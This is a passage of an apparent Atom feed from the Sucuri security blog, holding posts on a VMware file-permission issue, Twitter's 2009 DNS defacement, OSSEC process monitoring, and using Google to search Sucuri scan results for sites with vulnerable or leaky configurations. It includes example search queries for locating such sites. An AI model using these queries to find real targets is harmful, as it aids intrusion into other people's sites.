else have normal user access, you might want to &lt;span style="font-style:italic;"&gt;"chmod -R o-rwx"&lt;/span&gt; to avoid problems.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style:italic;"&gt;*just verified on another system, with the same effect. Tried on Ubuntu 9.04 and CentOS 5.3&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style:italic;"&gt;*My umask is set properly as 0022.&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1807932947703258405-972149554843040195?l=blog.sucuri.net' alt='' /&gt;&lt;/div&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/8vWWU7bmVm4idjwOcBjxDWWpYhc/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/8vWWU7bmVm4idjwOcBjxDWWpYhc/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/8vWWU7bmVm4idjwOcBjxDWWpYhc/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/8vWWU7bmVm4idjwOcBjxDWWpYhc/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/SucuriSecurity/~4/LW5C-5MCiUU" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://blog.sucuri.net/feeds/972149554843040195/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://blog.sucuri.net/2010/01/vmware-insecure-file-creation.html#comment-form" title="1 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/1807932947703258405/posts/default/972149554843040195?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/1807932947703258405/posts/default/972149554843040195?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/SucuriSecurity/~3/LW5C-5MCiUU/vmware-insecure-file-creation.html" title="VMware insecure file creation" /><author><name>http://sucuri.net</name><uri>http://www.blogger.com/profile/14980808976404159238</uri><email>noreply@blogger.com</email><gd:extendedProperty name="OpenSocialUserId" value="18389949574051724815" /></author><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">1</thr:total><feedburner:origLink>http://blog.sucuri.net/2010/01/vmware-insecure-file-creation.html</feedburner:origLink></entry><entry gd:etag="W/&quot;CEMGQH06eip7ImA9WxBSEUg.&quot;"><id>tag:blogger.com,1999:blog-1807932947703258405.post-3572804613842019621</id><published>2009-12-18T10:55:00.003-05:00</published><updated>2009-12-18T11:07:01.312-05:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2009-12-18T11:07:01.312-05:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="sucuri" /><category scheme="http://www.blogger.com/atom/ns#" term="twitter" /><category scheme="http://www.blogger.com/atom/ns#" term="security" /><category scheme="http://www.blogger.com/atom/ns#" term="hacked" /><title>Twitter defacement</title><content type="html">It is all over the &lt;a href="http://www.techcrunch.com/2009/12/17/twitter-reportedly-hacked-by-iranian-cyber-army/"&gt;news today&lt;/a&gt; that &lt;a href="http://www.twitter.com"&gt;Twitter&lt;/a&gt; was defaced yesterday. Lots of speculation regarding what happened, but that's the alert I received yesterday from &lt;a href="http://sucuri.net"&gt;Sucuri Network Monitor&lt;/a&gt;:&lt;br /&gt;&lt;blockquote&gt;&lt;span style="font-weight:bold;"&gt;Sucuri nbim: twitter.com DNS modified&lt;/span&gt;&lt;br /&gt; &lt;br /&gt;Modifications:&lt;br /&gt;3a4&lt;br /&gt;&lt; twitter.com has address 128.121.146.100&lt;br /&gt;&lt; twitter.com has address 168.143.162.52&lt;br /&gt;&gt; &lt;span style="font-weight:bold;"&gt;twitter.com has address 66.147.242.88&lt;/span&gt;&lt;br /&gt;---&lt;br /&gt;&lt;span style="font-style:italic;"&gt;This alert was generated by the Sucuri Network Integrity Monitor. Log in to your dashboard at http://sucuri.net.&lt;/span&gt;&lt;/blockquote&gt;So we can see that it was indeed a DNS redirection attack and that &lt;span style="font-style:italic;"&gt;probably&lt;/span&gt; their servers weren't attacked directly. &lt;br /&gt;&lt;br /&gt;If you are curious were they are hosting their DNS, here it is:&lt;blockquote&gt;&lt;br /&gt;   &lt;span style="font-weight:bold;"&gt;Domain Name: TWITTER.COM&lt;/span&gt;&lt;br /&gt;   &lt;span style="font-weight:bold;"&gt;Registrar: NETWORK SOLUTIONS, LLC.&lt;/span&gt;&lt;br /&gt;   Whois Server: whois.networksolutions.com&lt;br /&gt;   Referral URL: http://www.networksolutions.com&lt;br /&gt;   Name Server: NS1.P26.DYNECT.NET&lt;br /&gt;   Name Server: NS2.P26.DYNECT.NET&lt;br /&gt;   Name Server: NS3.P26.DYNECT.NET&lt;br /&gt;   Name Server: NS4.P26.DYNECT.NET&lt;br /&gt;   Status: clientTransferProhibited&lt;br /&gt;   Updated Date: 27-may-2009&lt;br /&gt;   Creation Date: 21-jan-2000&lt;br /&gt;   Expiration Date: 21-jan-2018&lt;br /&gt;&lt;/blockquote&gt;If you tried to access their services last night, we recommend changing your password ASAP. If you want to monitor your own domain names for this kind of issue (for free), visit &lt;a href="http://sucuri.net"&gt;http://sucuri.net&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1807932947703258405-3572804613842019621?l=blog.sucuri.net' alt='' /&gt;&lt;/div&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/I-HMV8UvpOao74ApQC-oml_8_Qo/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/I-HMV8UvpOao74ApQC-oml_8_Qo/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/I-HMV8UvpOao74ApQC-oml_8_Qo/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/I-HMV8UvpOao74ApQC-oml_8_Qo/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/SucuriSecurity/~4/SmPSwYn813Y" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://blog.sucuri.net/feeds/3572804613842019621/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://blog.sucuri.net/2009/12/twitter-defacement.html#comment-form" title="0 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/1807932947703258405/posts/default/3572804613842019621?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/1807932947703258405/posts/default/3572804613842019621?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/SucuriSecurity/~3/SmPSwYn813Y/twitter-defacement.html" title="Twitter defacement" /><author><name>http://sucuri.net</name><uri>http://www.blogger.com/profile/14980808976404159238</uri><email>noreply@blogger.com</email><gd:extendedProperty name="OpenSocialUserId" value="18389949574051724815" /></author><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">0</thr:total><feedburner:origLink>http://blog.sucuri.net/2009/12/twitter-defacement.html</feedburner:origLink></entry><entry gd:etag="W/&quot;Ck4MQHw5eCp7ImA9WxBTE00.&quot;"><id>tag:blogger.com,1999:blog-1807932947703258405.post-1219356102542442977</id><published>2009-12-08T14:14:00.004-05:00</published><updated>2009-12-08T14:36:21.220-05:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2009-12-08T14:36:21.220-05:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="scan" /><category scheme="http://www.blogger.com/atom/ns#" term="sucuri" /><category scheme="http://www.blogger.com/atom/ns#" term="security" /><title>Searching vulnerable sites with Google</title><content type="html">At &lt;a href="http://sucuri.net/"&gt;http://sucuri.net/&lt;/a&gt; we have a &lt;a href="http://sucuri.net/?page=scan"&gt;free online tool&lt;/a&gt; that allows you to scan any domain name for security issues. It is very simple and report web server versions, possible &lt;a href="http://blog.sucuri.net/2009/08/cisco-leaking-private-ip-addresses-via.html"&gt;domain names being leaked&lt;/a&gt;, &lt;a href="http://sucuri.net/?page=docs&amp;title=state-wordpress-security"&gt;vulnerable web apps&lt;/a&gt; running, etc.&lt;br /&gt;&lt;br /&gt;Lately, I noticed that "Google Bots" has been using our site and scanning thousand of hosts per day. You know what that means? Well, now you can google for vulnerable sites and it will show the results from our scanning tool. Just choose a vulnerable application (or version you are looking for) and restrict to &lt;span style="font-style:italic;"&gt;site:http://sucuri.net&lt;/span&gt;.&lt;br /&gt;&lt;br /&gt;For example:&lt;br /&gt;&lt;ol&gt;&lt;li&gt;&lt;a href="http://www.google.com/search?hl=en&amp;as_q=&amp;as_epq=Server+nginx+&amp;as_oq=&amp;as_eq=&amp;num=10&amp;lr=&amp;as_filetype=&amp;ft=i&amp;as_sitesearch=sucuri.net&amp;as_qdr=all&amp;as_rights=&amp;as_occt=any&amp;cr=&amp;as_nlo=&amp;as_nhi=&amp;safe=images"&gt;Search Looking for all Nginx web servers&lt;/a&gt;&lt;/li&gt;&lt;br /&gt;&lt;li&gt;&lt;a href="http://www.google.com/search?hl=en&amp;lr=&amp;q=%22Server+nginx+%22+site%3Asucuri.net+%220.4%22&amp;aq=f&amp;oq=&amp;aqi="&gt;Search Looking for all Nginx web servers running version 0.4&lt;/a&gt;&lt;/li&gt;&lt;br /&gt;&lt;li&gt;&lt;a href="http://www.google.com/#hl=en&amp;q=%22X-Powered-By%3A+PHP%22+site%3Asucuri.net&amp;aq=f&amp;aqi=&amp;oq=&amp;fp=cbc2f75bf9d43a8f"&gt;Search for all sites powered by PHP&lt;/a&gt;&lt;/li&gt;&lt;br /&gt;&lt;li&gt;&lt;a href="http://www.google.com/#hl=en&amp;q=site%3Asucuri.net+%22Wordpress+internal+path%22&amp;aq=f&amp;aqi=&amp;oq=&amp;fp=cbc2f75bf9d43a8f"&gt;Search for sites leaking the Wordpress internal path&lt;/a&gt;&lt;/li&gt;&lt;br /&gt;&lt;li&gt;&lt;a href="http://www.google.com/#hl=en&amp;q=site%3Asucuri.net+%22pointing+to+an+internal+IP+Address%22&amp;aq=f&amp;aqi=&amp;oq=&amp;fp=cbc2f75bf9d43a8f"&gt;Sites with their public DNS pointing to private IP addresses&lt;/a&gt;&lt;/li&gt;&lt;/ol&gt;&lt;br /&gt;Note that Google just started scanning us that way (a few days ago), so the number of reported sites is likely to increase a lot in the next weeks...&lt;br /&gt;&lt;br /&gt;On a side note, there is a project called &lt;a href="http://shodan.surtri.com/"&gt;SHODAN&lt;/a&gt; that also allows you to search for web server versions and open ports. Their database is way larger than ours and based on the IP addresses (while our is per domain).&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1807932947703258405-1219356102542442977?l=blog.sucuri.net' alt='' /&gt;&lt;/div&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/9NJVaaX_PjrdCh4suMsiMgX1YP8/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/9NJVaaX_PjrdCh4suMsiMgX1YP8/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/9NJVaaX_PjrdCh4suMsiMgX1YP8/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/9NJVaaX_PjrdCh4suMsiMgX1YP8/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/SucuriSecurity/~4/6UzPmmbZcf0" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://blog.sucuri.net/feeds/1219356102542442977/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://blog.sucuri.net/2009/12/searching-vulnerable-sites-with-sucuri.html#comment-form" title="1 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/1807932947703258405/posts/default/1219356102542442977?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/1807932947703258405/posts/default/1219356102542442977?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/SucuriSecurity/~3/6UzPmmbZcf0/searching-vulnerable-sites-with-sucuri.html" title="Searching vulnerable sites with Google" /><author><name>http://sucuri.net</name><uri>http://www.blogger.com/profile/14980808976404159238</uri><email>noreply@blogger.com</email><gd:extendedProperty name="OpenSocialUserId" value="18389949574051724815" /></author><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">1</thr:total><feedburner:origLink>http://blog.sucuri.net/2009/12/searching-vulnerable-sites-with-sucuri.html</feedburner:origLink></entry><entry gd:etag="W/&quot;DkEGQ34-fCp7ImA9WxBTEkU.&quot;"><id>tag:blogger.com,1999:blog-1807932947703258405.post-454459503858008483</id><published>2009-12-08T09:24:00.005-05:00</published><updated>2009-12-08T10:03:42.054-05:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2009-12-08T10:03:42.054-05:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="ossec" /><category scheme="http://www.blogger.com/atom/ns#" term="security" /><title>Process monitoring with OSSEC</title><content type="html">OSSEC v2.3 &lt;a href="http://www.ossec.net/main/ossec-v23-released"&gt;was just released&lt;/a&gt; and one feature that really interested me was the &lt;a href="http://www.ossec.net/main/manual/manual-process-monitoring/"&gt;Process monitoring&lt;/a&gt;. That's what the OSSEC team says about it:&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;"We love logs. Inside OSSEC we treat everything as if it was a log and parse it appropriately with our rules. However, some information is not available in log files but we still want to monitor them. To solve that gap, we added the ability to monitor the output of commands via OSSEC and treat those just like they were log files."&lt;/blockquote&gt;&lt;br /&gt;Basically, it allows you to monitor the output of any command and generate alerts/active responses from them.&lt;br /&gt;&lt;br /&gt;Cool, let's try it out. First, let's monitor the output of "httpd status" to receive alerts if Apache ever goes down. I added the following command to my ossec.conf and the following rule to my local_rules:&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;&amp;lt;localfile&amp;gt;&lt;br /&gt;  &amp;lt;log_format&amp;gt;command&amp;lt;/log_format&amp;gt;&lt;br /&gt;  &amp;lt;command&amp;gt;/etc/init.d/httpd status&amp;lt;/command&amp;gt;&lt;br /&gt;&amp;lt;/localfile&amp;gt;&lt;br /&gt;&lt;br /&gt;&amp;lt;rule id=”100200″ level=”10″ ignore=”1200″&amp;gt;&lt;br /&gt;&amp;lt;if_sid&amp;gt;530&amp;lt;/if_sid&amp;gt;&lt;br /&gt;&amp;lt;match&amp;gt;ossec: output: '/etc/init.d/httpd status': &amp;lt;/match&amp;gt;&lt;br /&gt;&amp;lt;regex&amp;gt;is stopped&amp;lt;/regex&amp;gt;&lt;br /&gt;&amp;lt;description&amp;gt;Apache STOPPED.&amp;lt;/description&amp;gt;&lt;br /&gt;&amp;lt;/rule&amp;gt;&lt;/blockquote&gt;&lt;br /&gt;&lt;br /&gt;Now, if I manually stop Apache to try it out, I get in a few seconds via email:&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;2009 Dec 08 10:45:04 (sucuri) xx-&gt;/etc/init.d/httpd status&lt;br /&gt;Rule: 100200 (level 10) -&gt; 'Apache STOPPED.'&lt;br /&gt;Src IP: (none)&lt;br /&gt;User: (none)&lt;br /&gt;ossec: output: '/etc/init.d/httpd status': httpd is stopped&lt;/blockquote&gt;&lt;br /&gt;Perfect! Now I can have all my monitoring in just one tool... Next step is to create an active response to restart the service on failure.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1807932947703258405-454459503858008483?l=blog.sucuri.net' alt='' /&gt;&lt;/div&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/jSaIpbsiLeqF2MB34htWKQb19lI/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/jSaIpbsiLeqF2MB34htWKQb19lI/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/jSaIpbsiLeqF2MB34htWKQb19lI/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/jSaIpbsiLeqF2MB34htWKQb19lI/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/SucuriSecurity/~4/32vADw_hGeo" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://blog.sucuri.net/feeds/454459503858008483/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://blog.sucuri.net/2009/12/process-monitoring-with-ossec.html#comment-form" title="0 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/1807932947703258405/posts/default/454459503858008483?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/1807932947703258405/posts/default/454459503858008483?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/SucuriSecurity/~3/32vADw_hGeo/process-monitoring-with-ossec.html" title="Process monitoring with OSSEC" /><author><name>http://sucuri.net</name><uri>http://www.blogger.com/profile/14980808976404159238</uri><email>noreply@blogger.com</email><gd:extendedProperty name="OpenSocialUserId" value="18389949574051724815" /></author><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">0</thr:total><feedburner:origLink>http://blog.sucuri.net/2009/12/process-monitoring-with-ossec.html</feedburner:origLink></entry></feed>
